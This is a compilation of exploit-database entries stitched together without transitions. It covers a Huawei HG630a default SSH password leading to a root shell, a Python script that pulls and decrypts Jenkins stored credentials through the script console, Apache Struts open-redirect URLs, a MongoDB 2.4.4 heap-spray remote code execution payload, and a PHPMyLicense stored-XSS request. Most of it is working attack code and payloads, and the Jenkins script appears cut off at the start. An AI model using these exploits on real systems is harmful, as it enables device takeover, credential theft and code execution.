# Exploit Title: Huawei HG630a and HG630a-50 Default SSH Admin Password on

Adsl Modems

# Date: 10.11.2015

# Exploit Author: Murat Sahin

# Vendor Homepage: Huawei

# Version: HG630a and HG630a-50

# Tested on: linux,windows

Adsl modems force you to change admin web interface password. Even though

you can change admin password on the web interface, the password you

assign does not apply to ssh. So, SSH password always will be

'Username:admin Password:admin'.

Ex:

*ssh admin@modemIP <admin@192.168.1.1>*

admin@modemIP <admin@192.168.1.1>'s password:*admin*

PTY allocation request failed on channel 0

------------------------------

-

-----Welcome to ATP Cli------

-------------------------------

ATP>?

?

cls

debug

help

save

?

exit

ATP>shell

shell

BusyBox vv1.9.1 (2013-12-31 16:16:20 CST) built-in shell (ash)

Enter 'help' for a list of built-in commands.

# cat /proc/version

cat /proc/version

Linux version 2.6.30 (y00179387@localhost) (gcc version 4.4.2

(Buildroot 2010.02-git) ) #10 SMP PREEMPT Tue Dec 31 16:20:50 CST 2013

#

import requests

import re

from BeautifulSoup import BeautifulSoup

import urllib

r= requests.get(url + 'credential-store/domain/_/')

soup = BeautifulSoup(r.text)

users = []

for link in soup.body.findAll('a', href=True):

m = re.match("credential", link['href'])

if m:

if link['href'] not in users:

users.append(link['href'])

for users in users:

r2 = requests.get(url + 'credential-store/domain/_/'+users+'/update')

soup2 = BeautifulSoup(r2.text)

# Finds the user and password value in html and stores in encPass variable

user = soup2.body.findAll(attrs={"name" : "_.username"})[0]['value']

encPass = soup2.body.findAll(attrs={"name" : "_.password"})[0]['value']

# Encodes the password to www-form-urlencoded standards needed for the expected content type

encPassEncoded = urllib.quote(encPass, safe='')

# Script to run in groovy scripting engine to decrypt the password

script = 'script=hudson.util.Secret.decrypt+%%27' \

'%s'\

'%%27&json=%%7B%%22script%%22%%3A+%%22hudson.util.Secret.decrypt+%%27' \

'%s' \

'%%27%%22%%2C+%%22%%22%%3A+%%22%%22%%7D&Submit=Run' % (encPassEncoded, encPassEncoded)

# Using sessions because the POST requires a session token to be present

with requests.Session() as s:

r3 = s.get(url+'script')

headers = {'content-type': 'application/x-www-form-urlencoded'}

r3 = s.post(url+'script',data=script, headers=headers)

soup3 = BeautifulSoup(r3.text)

# Extracts password from body

password = soup3.body.findAll('pre')[1].text

password = re.sub('Result:', '', password)

print "User: %s | Password:%s" % (user, password)

source: http://www.securityfocus.com/bid/61196/info

Apache Struts is prone to multiple open-redirection vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker can leverage these issues by constructing a crafted URI and enticing a user to follow it. When an unsuspecting victim follows the link, they may be redirected to an attacker-controlled site; this may aid in phishing attacks. Other attacks are possible.

Apache Struts 2.0.0 prior to 2.3.15.1 are vulnerable.

http://www.example.com/struts2-showcase/fileupload/upload.action?redirect:http://www.example.com/

http://www.example.com/struts2-showcase/modelDriven/modelDriven.action?redirectAction:http://www.example.com/%23

source: http://www.securityfocus.com/bid/61309/info

MongoDB is prone to a remote code execution vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to execute arbitrary code within the context of the affected application.

MongoDB 2.4.4 is vulnerable; other versions may also be affected.

use databaseMapped

sizechunk=0x1338; chunk=""; for(i=0;i<sizechunk;i++){ chunk+="\x05\x7c\x77\x55\x08\x04\x00\x00"; } for(i=0;i<30000;i++){ db.my_collection.insert({my_chunk:chunk}) }

db.eval('Mongo.prototype.find("a",{"b":"c"},"d","e","f","g","h")');

Hello, I want to report following exploit:

# Exploit Title: PHPMyLicense Stored Cross Site Scripting

# Date: 09-10-2015

# Exploit Author: Aria Akhavan Rezayat @ Websec GesmbH

# Website: https://websec-test.com

# Vendor Homepage: https://phpmylicense.com

# Software Link: http://codecanyon.net/item/phpmylicense/11719122

# Version: 3.0.0 - 3.1.4 (REQUIRED)

# Category: Webapps

1.) Description:

Any registered user can simply disable functionality of the whole application and input malicious code because of a lack of filtering.

2.) Proof of Concept:

localhost/phpmylicense/ajax/

POST:

comments=bla-->MaliciousCode<%21--&customer_email=bla&domain=bla&expirydate=26-10-2014&handler=newlicense&parameters=bla&productid=20&serialkey=bla&status=processing

3.) Solution:

None. - No Update available for it.